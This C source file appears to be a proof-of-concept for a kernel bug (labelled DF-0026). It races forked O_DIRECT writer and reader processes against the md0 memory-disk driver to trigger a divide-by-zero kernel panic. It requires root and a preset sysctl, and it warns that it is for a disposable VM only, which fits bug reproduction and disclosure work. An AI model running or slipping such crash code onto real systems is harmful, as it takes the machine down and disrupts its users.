DF-0026 / trigger_md2.c
/* * DF-0026 div0 trigger via md0 SMP race (v2 - O_DIRECT, disjoint ranges). * * mdstrategy_malloc() protects bio_queue with only crit_enter() (per-CPU, * not global). Concurrent mdstrategy() from different CPUs both enter * bioqdisksort() unsynchronized. The drain loop does crit_exit() before * memcpy-processing each bio (sys/dev/disk/md/md.c:237), opening a window * where another CPU's WRITE bio sets bioq->transition, and a subsequent * READ bio on yet another CPU hits: * ++bioq->reorder; * if (bioq->reorder % bioq_reorder_minor_interval == 0) // sysctl==0 -> #DE * * This version uses O_DIRECT to bypass the buf cache so that BOTH write and * read bios reach mdstrategy directly. Writers and readers use DISJOINT offset * ranges so reads are never served from recently-written cache. * * Requires: kern.bioq_reorder_minor_interval already 0. Run as root. * WARNING: panics the kernel. Disposable VM only. */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <sys/wait.h> #define NW 8 #define NR 8 #define RPT 200000 #define BLK 65536 #define DISK (9 * 1024 * 1024) /* md0 is ~9.77 MB */ #define WR_BASE 0 #define WR_END (4 * 1024 * 1024) /* writers: 0..4MB */ #define RD_BASE (5 * 1024 * 1024) #define RD_END DISK /* readers: 5..9MB */ static volatile sig_atomic_t go = 0; static void go_(int s){ go=1; } static void writer(int idx) { char buf[BLK]; int fd, i; fd = open("/dev/md0s0", O_RDWR | O_DIRECT); if (fd < 0) { fd = open("/dev/md0s0", O_RDWR); } if (fd < 0) { perror("w open"); _exit(1); } memset(buf, idx|1, sizeof(buf)); while (!go) {} for (i = 0; i < RPT; i++) { off_t off = WR_BASE + ((off_t)(i * 31 + idx * 127) % ((WR_END-WR_BASE)/BLK)) * BLK; if (pwrite(fd, buf, BLK, off) != BLK) break; } _exit(0); } static void reader(int idx) { char buf[BLK]; int fd, i; fd = open("/dev/md0s0", O_RDONLY | O_DIRECT); if (fd < 0) { fd = open("/dev/md0s0", O_RDONLY); } if (fd < 0) { perror("r open"); _exit(1); } while (!go) {} for (i = 0; i < RPT; i++) { off_t off = RD_BASE + ((off_t)(i * 37 + idx * 113) % ((RD_END-RD_BASE)/BLK)) * BLK; if (pread(fd, buf, BLK, off) != BLK) break; } _exit(0); } int main(void) { int i, st; pid_t p[32]; int n=0; signal(SIGUSR1, go_); printf("[*] %d writers (0..4MB) + %d readers (5..9MB), O_DIRECT, sysctl=0\n", NW, NR); for (i=0;i<NW;i++){ p[n]=fork(); if(p[n]==0)writer(i); if(p[n]>0)n++; } for (i=0;i<NR;i++){ p[n]=fork(); if(p[n]==0)reader(i); if(p[n]>0)n++; } usleep(100000); for (i=0;i<n;i++) kill(p[i], SIGUSR1); for (i=0;i<n;i++) wait(&st); printf("[*] done (no panic)\n"); return 0; } |